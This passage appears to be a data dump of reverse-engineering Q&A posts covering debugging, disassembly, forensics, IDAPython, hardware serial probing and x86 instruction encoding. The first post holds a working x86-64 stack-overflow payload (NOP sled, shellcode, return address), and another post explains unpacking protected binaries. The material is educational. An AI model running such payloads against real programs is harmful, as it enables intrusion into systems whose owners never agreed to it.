    #!/usr/bin/perl\nprint \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"; // extra padding\nprint \"\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\";\nprint \"\\xb0\\x01\\x66\\xff\\xc7\\x66\\xff\\xc7\\x48\\xb9\\x4f\\x77\";\nprint \"\\x6e\\x65\\x64\\x21\\x21\\x21\\x51\\x48\\x89\\xe6\\xb2\\x08\";\nprint \"\\x0f\\x05\\xb0\\x3c\\x48\\x31\\xff\\x0f\\x05\";\nprint \"\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\"; // rbp\nprint \"\\xd8\\xe1\\xff\\xff\\xff\\x7f\\x00\\x00\"; //return address\n
    \n\n

    On debugger

    \n\n

    \"enter

    \n\n

    While Executing in a debugger it works fine and the message Owned!!! is printed out , but when I run the file normally I get Segmentation Error \nAny Solution on whats happening here ?

    \n", "Title": "Stack smashing in X86_64 leads to Segmentation fault .", "Tags": "|assembly|x86|exploit|stack|", "Answer": "

    The issue was that the OS pushes some env on the stack which creates this offset in memory when the program is run on gdb ,which can be resolved by removing the env . \nmore about this can be found at https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it/17775966#17775966

    \n" }, { "Id": "12768", "CreationDate": "2016-05-30T23:11:05.660", "Body": "

    What is the reason behind the byte scission (the next immediate byte following \"int 2d\" is skipped) behaviour when executing INT 0x2D?\nI came across this article http://www.drdobbs.com/monitoring-nt-debug-services/184416239 but still cannot understand what is the reason for Windows to skip the byte.\nAny explanation is welcome. Thanks.

    \n", "Title": "What is the reason for INT 0x2D byte scission?", "Tags": "|anti-debugging|", "Answer": "

    From what I can tell, it\u2019s because the int 0x2d instruction is supposed to be immediately followed by a int3 breakpoint opcode, which in turn is presumably a graceful degradation/backwards compatibility feature.

    \n

    Interrupt 0x2d is a debugger hook, used to pass information from the debugged program to the debugger; presumably the ultimate place where APIs like DbgPrintEx are implemented. A debugger that traps interrupt 0x2d will respond to the hook invocation, skip the int3 opcode that follows, and resume execution normally. A more primitive debugger that ignores interrupt 0x2d will instead trap the int3 opcode, allowing the user to examine register state and respond to the hook call manually; or to patch a nop instruction over the breakpoint opcode to ignore the hook from now on.

    \n

    If you disassemble BOOTMGR.EXE (the PE executable extracted from BOOTMGR), MEMTEST.EXE, WINLOAD.EXE or NTOSKRNL.EXE, you will see the int 0x2d / int3 sequence appear. Those are boot-time and/or kernel-mode programs which execute in a different environment from normal Windows applications, but the debugger ABI they are subject to is presumably the same.

    \n" }, { "Id": "12772", "CreationDate": "2016-06-01T03:22:04.570", "Body": "

    There was once a disassembler on DOS named Sourcer that can disassembly BIOS routines. However, how do we access to BIOS ROM from software to do such a thing?

    \n", "Title": "How can BIOS routines be disassemblied?", "Tags": "|disassembly|bios|", "Answer": "

    In the old days, you could usually dump the high part of the 1MB memory (e.g. E000:0000 to F000:FFFF) to retrieve the copy of your BIOS ROM, but nowadays the BIOS no longer fits into 64K or even 128K so all that you'd get would be a copy of the UEFI's CSM (Compatibility Support Module) with most of the code elsewhere, usually above the 1MB mark.

    \n\n

    To retrieve the actual, full BIOS code, you need to read the ROM from the flash chip. This may be possible from the same machine, e.g. by using flashrom or sometimes the board vendor's firmware update tool if it offers a \"backup\" option. Sometimes the access to the flash may be blocked from the OS (to prevent BIOS modification by malware) and in such cases you may have to use an external flash programmer.

    \n\n

    Once you got the copy of the ROM, you can start disassembling it. However, keep in mind that modern BIOSes usually implement the UEFI standard, where only a small part of the code (around the reset vector) is 16-bit while most of the code runs in 32-bit (or 64-bit) protected mode, usually using modules implemented in the PE(Portable Executable) format. Since even the structure of the UEFI firmware's ROM is standardized, you can often use a tool such as UEFITool to extract individual modules for analysis. For more info on UEFI, see the UEFI and PI standards, available for free from www.uefi.org.

    \n" }, { "Id": "12774", "CreationDate": "2016-06-01T09:02:39.753", "Body": "

    I am trying to read through Matt Pietrek article on \"A Crash Course on the Depths of Win32 Structured Exception Handling\" linked here. In the section titled Compiler-level SEH, he writes:

    \n\n
    \n

    Now that you know that a _try block corresponds to an EXCEPTION_REGISTRATION structure on the stack, what about the callback function within the EXCEPTION_ REGISTRATION? Using Win32 terminology, the exception callback function corresponds to the filter-expression code. To refresh your memory, the filter-expression is the code in parens after the _except keyword. It's this filter-expression code that decides whether the code in the subsequent {} block will execute.

    \n
    \n\n

    At this point, I am a bit confused. All along, until this point I thought that the callback function is the function that is going to handle the exception, i.e. the code inside the _except block. Kindly help me understand this.

    \n\n

    Also, if the filter-expression code corresponds with the callback function, then what corresponds to the code inside '{}' after the filter-expression?

    \n", "Title": "Win32 Structured Exception Handling in MS C++ - Mapping compiler code to assembly code", "Tags": "|windows|x86|c++|exception|seh|", "Answer": "

    In case of the compiler-level SEH, the callback invoked by the OS is the compiler-provided function, usually __except_handler3 or similar. Once called, it inspects the stack, retrieves the trylevel, looks up the corresponding scopetable entry and calls the exception filter (lpfnFilter). If the filter returns non-zero, the handler (lpfnHandler) is invoked - this is the code corresponding to the code inside the __except/__finally block.\nFor a specific example, check Appendix I here: http://www.openrce.org/articles/full_view/21

    \n\n

    Note that C++ EH uses a somewhat more complicated approach compared to \"simple\" SEH to ensure proper semantics (such as automatic object destruction during unwinding), so it's not as easy to map back to source code, but doable (see Appendix II in the above article).

    \n\n

    BTW, in recent Visual Studio versions, Microsoft provides almost complete CRT source, including the implementation of __except_handlerN and ___CxxFrameHandler, so you could look there too (e.g. \\Program Files (x86)\\Microsoft Visual Studio 11.0\\VC\\crt\\src\\eh\\frame.cpp).

    \n" }, { "Id": "12776", "CreationDate": "2016-06-01T11:50:01.820", "Body": "

    I am testing a malware that built as COM EXE service. This exe file has a digital signature.
    \nI succeeded to remove the digital signature for trying to modify it for reverse engineering tests.

    \n

    But when I open it in OllyDbg and make any tiny change, the malware crash and not runs at all. Even if I tries to change one byte in the code cave to nop command, the malware not running.

    \n

    Why can't I change it even in the code cave? Any idea?

    \n", "Title": "Crash after exe modification", "Tags": "|ollydbg|malware|com|", "Answer": "

    @Karim's idea is right. Another thought is that your malware might be checking windows' registry debug flags. Since Olly runs dynamic analysis, your .exe recognises it and stops working if any changes applied during debugging proccess.

    \n" }, { "Id": "12778", "CreationDate": "2016-06-02T02:53:00.893", "Body": "

    I want to log any functions within a specific module that are called during an execution.

    \n\n

    I tried !for_each_function and wt command. However, since the target module doesn't have any symbols, !for_each_function cannot recognize any functions. wt command seems only able to trace with one function.

    \n\n

    I know IDA debugger can trace function calls. But my current problem is that I only want to trace the functions in a specific module. I'm not sure if IDA can do that. Also I'm wondering if IDA debugger can break on module load (similar to 'sxe ld:modulename' in windbg..

    \n\n

    I actually just need the address of all the function that are called. I was thinking if there is any way to set breakpoint on all RET within a module...But haven't figure out how to do that ...

    \n", "Title": "Can Windbg trace function calls within a module?", "Tags": "|windbg|", "Answer": "

    opening calc.exe in windbg

    \n\n
    windbg calc    \n
    \n\n

    skipping all the ldrint system calls

    \n\n
    bp calc!WinMain ; g    \n
    \n\n

    tracing only calc module from eip to some specific address and printing the return values\n(please note using arbitrary values as EndAddress may possibly corrupt the \ncode by inserting 0xcc in middle of instruction )

    \n\n
    0:000> wt -l 2 -oR -m calc =@eip @eip+5fa   \n
    \n\n

    trace result with return values (trimmed )

    \n\n
       30     0 [  0] calc!WinMain\n    5     0 [  1]   kernel32!GetModuleHandleWStub\n    1     0 [  1]   kernel32!GetModuleHandleW\n   11     0 [  1]   KERNELBASE!GetModuleHandleW eax = b40000\n   32    17 [  0] calc!WinMain\n   11     0 [  1]   USER32!LoadStringW eax = a\n   36    28 [  0] calc!WinMain\n    3     0 [  1]   calc!CCalculatorSQM::onAppEntry\n    5     0 [  2]     msvcrt!time\n   24     0 [  2]     msvcrt!_time32 eax = 574fd43e\n    5    29 [  1]   calc!CCalculatorSQM::onAppEntry eax = 574fd43e\n   41    62 [  0] calc!WinMain\n   12     0 [  1]   calc!McGenEventRegister\n   38     0 [  2]     ntdll!EtwEventRegister eax = 0\n   14    38 [  1]   calc!McGenEventRegister eax = 0\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\n  364 12901 [  0] calc!WinMain\n   24     0 [  1]   USER32!GetMessageW eax = 1\n  372 12925 [  0] calc!WinMain\n   21     0 [  1]   USER32!TranslateAcceleratorW eax = 0\n  378 12946 [  0] calc!WinMain\n   19     0 [  1]   calc!CContainer::HandleGlobalTabbing eax = 0\n  382 12965 [  0] calc!WinMain\n\n13347 instructions were executed in 13346 events (0 from other threads)\n
    \n\n

    summary and wt broke where instructed

    \n\n
    ole32!CoInitialize                                    1       8       8       8\noleacc!ATL::CComObject<CPropMgr>::Release             1      16      16      16\noleacc!CPropMgr::SetHwndPropStr                       5      66      66      66\n\n0 system calls were executed\n\neax=000cf030 ebx=00000000 ecx=00b94210 edx=76f070b4 esi=00b94210 edi=766e667e\neip=00b41c2f esp=000cef5c ebp=000cfcc4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\ncalc!WinMain+0x7d5:\n00b41c2f e8e2010000      call    calc!CEditBoxInput::HandleWinMainMessage (00b41e16)\n0:000> ? calc!WinMain+5fa\n\nnote eip expression and EndAddress in wt command \n    Evaluate expression: 11803695 = 00b41c2f\n
    \n" }, { "Id": "12782", "CreationDate": "2016-06-02T08:57:08.403", "Body": "

    I have a memory dump of a VM running Windows server 2012 R2. The dump is of the entire RAM (4 GB).

    \n\n

    I want to extract as many features as possible from this dump. Mainly I want to extract all stacks of all threads running on the machine and exist in the memory. Alternatively, I want to extract call sequences of all threads.

    \n\n

    Are there any tools / tutorials / books etc. which can help me perform this task?

    \n\n

    I am familiar with both Volatility and Rekall, are there any specific plugins that can help me achieve my goals there?

    \n", "Title": "Extracting threads' stack from Windows memory dump", "Tags": "|digital-forensics|callstack|thread|stack|process|", "Answer": "\n\n

    Now, if you can elaborate a little bit more on what are you trying to find. I'll probably will be give more specific instructions.

    \n\n

    Good luck.

    \n" }, { "Id": "12788", "CreationDate": "2016-06-03T01:25:02.340", "Body": "

    \"enteri have been working on a bug for almost a year trying to figure out how i can fix it.\nthe app is suppose to show some message like (\"Processing\")to notify a user that the main function is executed, so since Delphi is easy to reverse with its strings. i have searched for encryption using Olly's SnD Crypto plugin and\ni have found the following

    \n\n
     CRC32(table)\n CRC32b(table)\n MD5\n SHA1\n SHA256\n Base64 alphabet\n Base64 alphabet(Unicode/VB)\n ENIGMA encryption algorithm(WiteG)\n RC4 encryption algorithm\n
    \n\n

    according to the plugin Enigma was used to protect two pieces in CODE section which i thought is hiding an Algorithm. \nRC4 is protecting most pieces of the DATA sections probably the Base64 encoded strings so dealing with strings is a none start for me because if it wasn't like that i would look for a messagebox Api or Search for strings.

    \n\n

    i would like to Decrypt Enigma then simply follow through since the app is an email transporter i will know the function and in i will be able to see where the message should be executed.

    \n\n

    how can i decrypt ENIGIMA thats mostly my question?

    \n\n

    thank you

    \n", "Title": "is it possible to decrypt Enigma and RC4 encryptions?", "Tags": "|encryption|decryption|delphi|", "Answer": "

    RC4 can be unpacked manually using OLLYDBG and break-pointing on VirtualAlloc\nEnigma is triky because there is enigma protector which is a packer of course its just a matter of finding Original Entry Point

    \n\n

    the hardest is Enigma Vitualbox which is a crypter fully undetectable by PEiD but somebody released a program to unpack it, in my case the program didnt successfully decrypt Enigma it doesnt find engma entrypoint so i used ollydbg to manually break on CreateProcessA

    \n" }, { "Id": "12791", "CreationDate": "2016-06-03T05:25:38.893", "Body": "

    I'm writing an IDA plugin using idapython in order to add comments (located in database) to variables of struct types. In order to do this, firstly, i need to get the list of cross-references to a given structure type (e.g. struct BITMAPINFO) which can be found in \"Structure\" subview in IDA.

    \n\n

    I know IDA provides this function from version 6.2 by right-button mouse clicking on the structure name and selecting \"List cross references to\". A window like the following will be popped-up:

    \n\n

    \"example:

    \n\n

    Each item of the list in above picture is either an address where a global variable of type %structure name% (here is BITMAPINFO) is declared or a position where a local variable of type \"structure name\" is defined. The former is like

    \n\n

    \"example:\n(here is type GUID, not BITMAPINFO).

    \n\n

    The latter is like\n\"example:\nThis is the position where IDA declare local variables based on its identified type.

    \n\n

    I wonder if there is a way to get these data by IDAPython.

    \n\n

    NOTE: This is different from cross-references to a(ll) member(s) of a struct type, which can be got by right-button mouse clicking on the structure member name, shown as the following

    \n\n

    \"example:

    \n\n

    Before asking here, i do it like:

    \n\n
    #CODE 1\nea = idc.LocByName(%structure name%)  \n\nfrm = [x.frm for x in idautils.XrefsTo(ea)]\n
    \n\n

    I think i have got the whole list of cross-references to %structure name% using my above code. However, i found many EAs in the list seem like ineffective such as '0xff0052c9' (MaxEA is 0x108f800). However, i guess my code has got the desired result because the length of returned list is equal to the number of items in the list shown as the 1st picture. But i can't explain the result especially the (seemingly) ineffective ones. Also, when i add comments to the addresses in the list using the following code

    \n\n
    #CODE 2\nfor ea in xrefs_list:\n    # each cross-reference to the given struc type\n\n    if repeatable:\n        # add repeatable comment 'cmt' at address 'ea'\n        idc.MakeRptCmt(ea, cmt)\n\n    else:\n        # add comment  'cmt' at address 'ea'\n        idc.MakeComm(ea, cmt)\n
    \n\n

    i found i only added comments to the effective addresses which are between idc.MinEA() and idc.MaxEA(), and these addresses are places where global instances of the queried struct type are declared, as shown in the 2nd picture.

    \n\n

    My questions are:

    \n\n
    \n
      \n
    1. Is my above code (CODE 1) correct to get all cross-references to a struct type?\n If it is, how to explain those seemingly ineffective addresses (above 0xFF000000)
      2. \n
    2. How to add comments to other cross-reference addresses other than the references to global instances of the struct type?
      3. \n
    \n
    \n", "Title": "How to get cross-references to a struct type in IDA by IDAPython and add comments to variables of the struct type", "Tags": "|ida|idapython|", "Answer": "

    In order to make the question and answer separate to make things clearer, I added my own solution mainly according to @tmr232's answer.

    \n\n

    For the 1st question, just as @tmr232 answered, those (seemingly) ineffective addresses are references to stack variables. In IDA's internals, each stack variable is treated as a member of a struct which represents the stack frame of a function. CODE 1 in the question can return all cross-references to a struct type, including cross-references to global instances and local stack instances.

    \n\n

    For the 2nd question, comments to be added to references to local stack instances can be added by treating these references as members of a struct.

    \n\n

    The code is:

    \n\n
    def add_struct_cmt (struct_name, cmt, repeatable):\n\n    # locate ea by structure name, here, ea is identical to sid\n    sid = idc.LocByName(%structure name%)\n\n    if sid == idaapi.BADADDR:\n        return \n\n    # get all cross-references to 'sid' including references to global \n    # struct instances and references to local stack variables\n    frm = [x.frm for x in idautils.XrefsTo(sid)]\n\n    for ea in frm:\n\n        if ea > idc.MaxEA():\n            # references to stack variables\n\n            # IDA 6.8 and above: getting 'member_t' using 'ea' as mid\n            mptr = idaapi.get_member_by_id(ea)\n\n            # IDA 6.8: setting member comment using 'mptr' as index\n            idaapi.set_member_cmt(mptr, cmt, repeatable)\n\n            # IDA 6.9: 'mptr' is type of list\n            #idaapi.set_member_cmt(mptr[0], cmt, repeatable)\n\n        else:\n            # references to global struct instances\n\n            if repeatable\uff1a\n                # add repeatable comment\n                idc.MakeRptCmt(ea, cmt)\n\n            else:\n                # add non-repeatable comment\n                idc.MakeCmt(ea, cmt)     \n
    \n" }, { "Id": "12798", "CreationDate": "2016-06-04T01:46:09.027", "Body": "

    I am looking to use scanmem to change in game credits in the new Master of Orion (2016).

    \n\n

    Steps I have taken:

    \n\n
      \n
    1. Install and run scanmem as root
      2. \n
    2. Track credits successfully using scanmem
      3. \n
    3. It accurately tracks between 1 and 3 variables that exactly match the ingame credits.
      4. \n
    4. However when I change 1 or all of them, it does not change the actual credits in the game.
      5. \n
    \n\n

    I was going to try Ugtrain but they specifically ask you not to use there product with Steam, so I won't be doing that.

    \n\n

    I am just doing this for fun, if anyone can help it would be appreciated.

    \n", "Title": "Master of Orion and scanmem", "Tags": "|linux|memory|", "Answer": "

    This means you only caught the displayed game credits value. Steam is used for multiplayer and online games. So it is very likely that the original value is stored on a server and only the value to be displayed is sent to you in a network package. Cheating by memory modification doesn't help much there. Usually input and graphics hacks are used with online and multiplayer games.

    \n\n

    ugtrain can only help if you want to lock/freeze/refill a local memory value you've already found and successfully modified with scanmem. I'm maintaining both tools. Talk to me on GitHub.

    \n" }, { "Id": "12805", "CreationDate": "2016-06-05T08:00:32.733", "Body": "

    I am analyzing a Windows executable file(PE Format), probably written in Borland Delphi. The program starts with the following instructions:

    \n\n
        pusha                      (1)\n    pushf                      (2)\n    xor ebp, ebp\n    jmp add_eh\n\nadd_eh:\n    mov eax, ss:off_4025E5[ebp]\n    mov dword ptr ss:(loc_402159+1)[ebp], eax\n    push offset loc_40215f                (3)\n    push dword ptr fs:0\n    mov fs:0, esp                        (4)\n    mov eax, [esp+2Ch]                    (5)\n    cmp [eax+IMAGE_DOS_HEADER.e_magic], 'ZM'\n    jnz short loc_40206C\n
    \n\n

    I reproduced on paper the stack until the instruction marked with (5), it seems that at (5) the esp+2Ch is pointing above the first register(AX) pushed by (1).

    \n\n

    Where does esp+2Ch point and what can be it's value?

    \n\n

    Thank you!

    \n", "Title": "To what points [esp+2Ch]?", "Tags": "|windows|assembly|pe|esp|", "Answer": "

    based on the corrected sequence that instruction fetches the dword prior to all the pushes

    \n\n
    pusha pushes 8 general purpose register  = 0x20   = 0x20\npushf pushes 1 flag register             = 0x04   = 0x24\n
    \n\n

    ebp is 0
    \nmov eax, is/can/maybe junk anyway doesn't alter the stack
    \nthe next instuction also doesnt alter the stack

    \n\n
    the next 2 pushes alter the stack        = 0x08   = 0x2c\n
    \n\n

    the next instruction sets the seh handler

    \n\n

    so it fetches the DWORD from the stack prior to pusha

    \n\n

    if this was starting of a call this DWORD could be return address of the call it can be from a earlier push instruction or moved to stack prior to pusha

    \n\n

    just to clarify i assembled the instuction in place somewhere in ollydbg and traced through it see the output below

    \n\n
    main    ntdll.76E96F51  NOP\nmain    ntdll.76E96F52  NOP\nmain    ntdll.76E96F53  NOP\nmain    ntdll.76E96F54  NOP\nmain    ntdll.76E96F55  PUSH    0BA0000 [0020F99C]=00000000 ESP=0020F99C\nmain    ntdll.76E96F5A  PUSHAD      ESP=0020F97C\nmain    ntdll.76E96F5B  PUSHFD  [0020F978]=76E212AD ESP=0020F978\nmain    ntdll.76E96F5C  XOR     EBP, EBP\nmain    ntdll.76E96F5E  MOV     EAX, DWORD PTR SS:[EBP+calc.0BA25E5]    [00BA25E5]=0F087E3B EAX=0F087E3B\nmain    ntdll.76E96F64  MOV     DWORD PTR SS:[EBP+calc.ULongAdd], EAX   [00BA215A]=0F087E3B\nmain    ntdll.76E96F6A  PUSH    0BA215F [0020F974]=0020F9F4 ESP=0020F974\nmain    ntdll.76E96F6F  PUSH    DWORD PTR FS:[0]    [7FFDF000]=0020F9A0 ESP=0020F970\nmain    ntdll.76E96F76  MOV     DWORD PTR FS:[0], ESP   [7FFDF000]=0020F9A0\nmain    ntdll.76E96F7D  MOV     EAX, DWORD PTR SS:[ESP+2C]  [0020F99C]=00BA0000 EAX=00BA0000 \n
    \n" }, { "Id": "12812", "CreationDate": "2016-06-06T02:32:27.803", "Body": "

    Well another weekend has gone by and my tinkering has caused another device to (potentially) bite the dust. I've been playing around with a couple of Slingboxes, an M1 and a 500. Today was the M1. I had taken it apart (quite easily!) and poked around with my continuity and voltage probes with results as below for a few locations (see image).

    \n\n

    Gnd means continuity existed between the tested part & the metal shield. The voltage in yellow is the voltage while it was plugged in. The spot in the upper left has a voltage that fluctuates somewhat erratically esp earlier on in the booting process.

    \n\n

    \"front full size image at https://dl.dropboxusercontent.com/u/23091/m1/front.jpg

    \n\n

    I hooked up a serial to usb and ran minicom on the \"chatty\" one noted towards the top left.. and got a bunch of garbled garbage. Ran baud rate and it cycled thru various baud settings but didn't find anything that made sense.

    \n\n

    \"baud and so on. Tried the other ports as labeled, and nothing else had any \"chatter\" on minicom.

    \n\n

    Any thoughts?

    \n\n

    Update\nWell I started touching the read probe on various other points on the board. One chip on the right generated a few (but not lots) of random looking data. And as I was touching a the prongs of the chip on the left above the smaller shield, the LEDs on the board turned off and it stopped generating any output. Sad. It won't turn back on or do anything at this point. Can that happen just from touching two pins on a chip?

    \n\n

    Any ideas how to repair this?

    \n\n

    Pretending I didn't fry the board, any ideas on what I could've done differently with minicom?

    \n\n

    Thanks!

    \n", "Title": "Thought I found serial port - broke embedded device instead! Help?", "Tags": "|hardware|serial-communication|embedded|integrated-circuit|", "Answer": "

    I had to add just a few things to have a clear mind (although the other answer is really good and got my up-vote already).

    \n\n
      \n

    1. Single pin touching with a probe can blow up your HW.

      \n\n

      And I do not mean the obvious static charge or what so ever from the common reasons. With nowadays chips some pins runs on very specific voltage ranges and even a high impedance probes can blow them up if connected to wrong voltage. This is usually concerning ADC and semi analog pins of modern MCU's. They should be protected by transils and or diodes but often the costs are reduced and protection omitted.

      \n\n

      Also always be careful even with GND to GND connections even between galvanicaly \"sealed\" devices (sometimes you forgot shield and then the fun starts).

      2. \n

    2. Ground connection

      \n\n

      Many of the nowadays chips have their pins short-circuited to the GND to protect them during power off or inactive state so measuring to GND resistance is usually not enough. Much safer is to follow the PCB paths if visible.

      3. \n

    3. Poking around

      \n\n

      If I need to \"Poke around\" the first thing I do is get all the significant or known IC numbers and find their datasheet or at least pinout (for those I can). Then find where the power pins are (Shield,GND,Vcc,Vddio,...) and locate the PCB power paths so I know where to avoid short-circuit by miss placing probe (as I am clumsy).

      \n\n

      Only then I will locate pins I need. For example you want serial port then find the IC capable of serial transmition and check the pins capable of them only. Oscilloscope is the way because you will see directly if it is digital or analog signal what is the baudrate etc instead of guessing... But I know not everyone has a decent oscillosope (like me 15 years ago) But usually some friend has one or in work/school usually you need just to ask... Anyway I was not that lucky at that time so I do SW oscilloscope using soundcard instead link to the win32 apps and description can be found here:

      \n\n\n\n

      Anyway you would need to make some sort of probe HW (voltage divider and or amplifier and may be some protection) to make it work with your soundcard safely.

      \n\n

      If you want something really simple and stupid instead use 2 anti-parallel connected LEDs to see if you got alternating signal (they should both glowing in such case).

      4. \n

    4. serial communication

      \n\n

      There are many protocols and even voltage encoding for serial communication these days and simple RS232 listener can be used only if:

      \n\n
        \n
      • voltage levels are in RS232 range (+/-15V) usually works on (+/-5V) for some ICs but it is not guaranteed. Many MCUs has serial links in TTL levels (0/5V) or even (0/3.3V) so you need voltage converter like MAX232 before connecting to PC.
        • \n
      • if custom protocol/encoding is used you need first to identify it and then decoding usually by some MCU
        • \n
      • if RS232 protocol is used you still need to know how many data,parity,start,stop bits are present and also the baud rate. The frequency and full bit width can be measured by oscilloscope, then you need to play with settings which bits are what until you get the data correctly.
        • \n
      • You should output the data in both string and Hex form for easier spotting of patterns ... for example see Putting an application in between client and server
        • \n
      5. \n
    \n\n

    [PS]

    \n\n

    In case you did not fry the board for good (sometimes chips will recover after time when the charge accumulated in wrong places is gone) so try it in few days again. But make no mistake not fried for good does not mean undamaged. Even in cases the device will run again usually its life span is significantly reduced and often not all pins are functional as should afterwards.

    \n\n

    [Edit1] Measuring against GND

    \n\n

    There are usually more GND types in analog/digital mixed device. usually all of them are interconnected at some point (usually very near stabilisator output) but that does not mean they have the same voltage !!!

    \n\n
      \n

    1. Power supply GND

      \n\n

      This one is present with widest fully filled PCB wirings and can transfer lot of current. Its purpose is to power the components. You should use this one to measure if better option is not present.

      2. \n

    2. Blocking GND

      \n\n

      This one is used to annihilate the pulse load of the digital circuits on the power supply. Otherwise the ground and Vcc would float making a lot of troubles along the way. The only thing that should be connected to this are the blocking capacitances (1nF,10nF,100nF very close to each ICs power supply pins). Do not use this for measuring!!!

      3. \n

    3. Shield GND

      \n\n

      This is usually connected to shielding areas (those criss/cross filled PCB areas between data and HF parts of the PCB and cable shielding) to avoid noise affecting critical parts of the circuit. Do not mistake them with PCB coils (meanders/zig zag patterns or spirals) they are completely different thing. Do not use this for measuring!!!

      4. \n

    4. Digital/Data GND

      \n\n

      This one should be used if present. Its sole purpose is to provide reference voltage between digital interfaces. Beware sometimes these are not connected to the main GND's and sometimes even to each other between different interfaces!!! Also the voltage level could be anything there not just 0V !!!

      5. \n
    \n" }, { "Id": "12816", "CreationDate": "2016-06-06T14:51:48.443", "Body": "

    I'm trying to do a static analysis of a PE file to see what it does.\nWhile doing so, I stumbled upon some really wierd function names in my objdump

    \n\n
    DLL Name: msvcrt.dll\nvma:  Hint/Ord Member-Name Bound-To\nc2c68    1371  wcsncmp\nc2c72    1017  _wcsnicmp\nc2c7e    1229  iswdigit\nc2c8a    1013  _wcslwr_s\nc2c96    1225  iswalpha\nc2ca2       5  ??0bad_cast@@QAE@ABV0@@Z\nc2cbe      14  ??1bad_cast@@UAE@XZ\nc2cd4    1241  localeconv\nc2ce2    1256  memchr\nc2cec    1304  strcspn\nc2cf6    1292  sprintf_s\nc2d02     884  _strtoi64\n
    \n\n

    notice the 2 bad_cast functions. Why are they wierd looking like that? What does this syntax mean?

    \n", "Title": "Wierd names in import table", "Tags": "|pe|dll|static-analysis|functions|", "Answer": "

    As @guntram-blohm says, these are mangled C++ functions. If you demangle the names (using, for example, an online demangler) you will get the fully decorated function names:

    \n\n
    public: __thiscall bad_cast::bad_cast(class bad_cast const &)\npublic: virtual __thiscall bad_cast::~bad_cast(void)\n
    \n\n

    So these functions are the constructor and the destructor for bad_cast objects, used to thrown an exception when a dynamic_cast to a reference type fails the run-time check.

    \n" }, { "Id": "12827", "CreationDate": "2016-06-09T03:24:49.773", "Body": "

    I'm trying to get to an Android device framework source to perform static analysis on it. I'm specifically looking at a Samsung Galaxy S6 device with Android 5.1.1. I downloaded the firmware image, mounted the system partition, and I'm able to see the framework directory with a bunch of jars and sub-directories with arm/arm64 odex files. I managed to convert services.odex to DEX format using oat2jar, and then look at the source using jadx. However, it appears the decompilation or the conversion from odex to dex wasn't complete, as there are references to several missing packages. I have the package names, but how do I get to the relevant jar/odex/dex files?

    \n\n

    Thanks.

    \n", "Title": "Reverse engineering Android device framework", "Tags": "|decompilation|android|jar|", "Answer": "

    Found it in the boot.oat file.

    \n" }, { "Id": "12830", "CreationDate": "2016-06-11T12:49:05.690", "Body": "

    Im developing a plugin in which I would like to be notified when user makes some modification to the code. I know there is a patch table which can be accessed through Plugingetvalue function but I would like to do some actions as soon as user modifes code and not to check patch table every now and then. Is it possible to do this and how?

    \n", "Title": "ollydbg plugin patch notification", "Tags": "|ollydbg|plugin|", "Answer": "

    Given your reference to Plugingetvalue(), it looks like you're trying to write your plugin for OllyDbg v1.

    \n\n

    In that case, you could do the following:

    \n\n\n\n

    There may be a formal way to get patch notifications, but if not, the above solution should work.

    \n" }, { "Id": "12834", "CreationDate": "2016-06-12T03:52:59.780", "Body": "

    I came around a piece of malware which i am analyzing and have found that it uses some kind of math to randomly selecting a register for a specific instruction

    \n\n

    Which i don't understand how this operation is calculated depend on what?

    \n\n

    Here is an example of what i mean

    \n\n

    let's say that i wanted to randomly pick up a register for the instruction

    \n\n
    ADD DWORD PTR DS:[0],EAX\n
    \n\n

    We know the opcode for this instruction is 01 05 00 00 00 00

    \n\n

    The bold number represents the register for this instruction

    \n\n

    05 == EAX\n0D == ECX

    \n\n

    To better explain this here is the instruction with all the registers

    \n\n
    0041580B    0105 00000000   ADD DWORD PTR DS:[0],EAX\n00415811    010D 00000000   ADD DWORD PTR DS:[0],ECX\n00415817    0115 00000000   ADD DWORD PTR DS:[0],EDX\n0041581D    011D 00000000   ADD DWORD PTR DS:[0],EBX\n00415823    0125 00000000   ADD DWORD PTR DS:[0],ESP\n00415829    012D 00000000   ADD DWORD PTR DS:[0],EBP\n0041582F    0135 00000000   ADD DWORD PTR DS:[0],ESI\n00415835    013D 00000000   ADD DWORD PTR DS:[0],EDI\n
    \n\n

    The malware uses a register index starting from 0 (EAX) till 7 (EDI)

    \n\n

    The number is get SHLed first with the number 3 then it is ORed with 5 to get the right register opcode. So my question is how the author came to the conclusion of that?

    \n\n

    I would say that SHL REG,3 equals REG*8 that is the number of max registers? but why do we need to OR it with 05? is it because the starting opcode of this instruction is 05?

    \n\n

    Does anybody have a better explanation for this? or any hint words for a better comprehend?

    \n", "Title": "Randomly picking up a x86 register for an instruction", "Tags": "|assembly|x86|malware|register|", "Answer": "

    To better understand this, you need to study instruction encoding formats i.e. x86 for this question.

    \n\n

    An x86 instruction looks like this

    \n\n
    +----------------------+--------+--------+-----+--------------+-----------+\n| Instruction prefixes | Opcode | ModR/M | SIB | Displacement | Immediate |\n+----------------------+--------+--------+-----+--------------+-----------+\n|          0-4         |   1-3  |   0-1  | 0-1 |      0-4     |    0-4    |\n+----------------------+--------+--------+-----+--------------+-----------+\n
    \n\n

    The numbers on the second row indicates the length in bytes of the corresponding part.

    \n\n

    For the instruction,

    \n\n
    010D 00000000   ADD DWORD PTR DS:[0],ECX\n
    \n\n

    there is no instruction prefix.\nThe opcode for ADD is 01 (Check here)

    \n\n

    The second byte of the instruction i.e ModR/Mis 0D.\nThe ModR/M byte provides addressing information about the instruction. It specifies whether an operand is in a register or in memory; if it is in memory, then fields within the byte specify the addressing mode to be used.

    \n\n

    The ModR/M byte can be broken down into

    \n\n
    +-----+------------+-----+\n| Mod | Reg/Opcode | R/M |\n+-----+------------+-----+\n|  2  |      3     |  3  |\n+-----+------------+-----+\n
    \n\n

    Here the numbers on the second row indicates the length in bits of the corresponding parts.

    \n\n

    The Mod field (2 bits) combines with the R/M field (3 bits) to form 32 possible values 8 registers and 24 addressing modes.

    \n\n

    The Reg/Opcode field (3 bits) specifies either a register number or three more bits of opcode information; the r/m field (3 bits) can specify a register as the location of an operand, or it can form part of the addressing-mode encoding in combination with the Mod field.

    \n\n

    Now, convert the ModR/M i.e 0D to binary. You would get.

    \n\n
